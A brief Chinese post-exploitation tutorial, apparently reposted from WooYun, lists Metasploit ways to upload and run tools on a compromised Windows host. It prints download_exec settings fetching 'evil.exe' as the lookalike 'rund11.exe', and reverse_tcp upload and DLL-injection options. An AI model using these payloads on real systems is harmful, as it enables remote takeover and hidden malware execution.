在某些溢出成功后，我们需要运行自己的模块，如远控、扫描器等，可以使用下面的一些方法：
0x01.利用其他后渗透模块驱动执行，如使用meterpreter脚本，获得sessions后使用meterpreter来进行上传和执行
0x02.利用windows/download_exec模块，下载执行：
模块信息：
Name Current Setting Required Description ---- --------------- -------- ----------- EXE rund11.exe yes Filename to save & run executable on target system EXITFUNC process yes Exit technique: seh, thread, process, none URL https://localhost:443/evil.exe yes The pre-encoded URL to the executable
这个模块的脚本，分为下载和执行，代码在
/opt/metasploit/msf3/modules/payloads/singles/windows/download_exec.rb
代码很清晰，可以学习相关写法
0x03 利用payload/windows/upexec/下的相关模块直接上传执行：
模块信息：
Module options (payload/windows/upexec/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The listen address LPORT 4444 yes The listen port PEXEC yes Full path to the file to upload and execute
模块中设置反弹模块为有效即可
0x04 利用payload/windows/dllinject/reverse_tcp模块进行远程dll注入
模块信息：
代码
Name Current Setting Required Description ---- --------------- -------- ----------- DLL yes The local path to the Reflective DLL to upload EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The listen address LPORT 4444 yes The listen port
模块中设置反弹模块为有效即可
0x05 自定义脚本
自定义shellcode，看雪的讨论贴
摘自：http://zone.wooyun.org/content/2583
留言评论（旧系统）：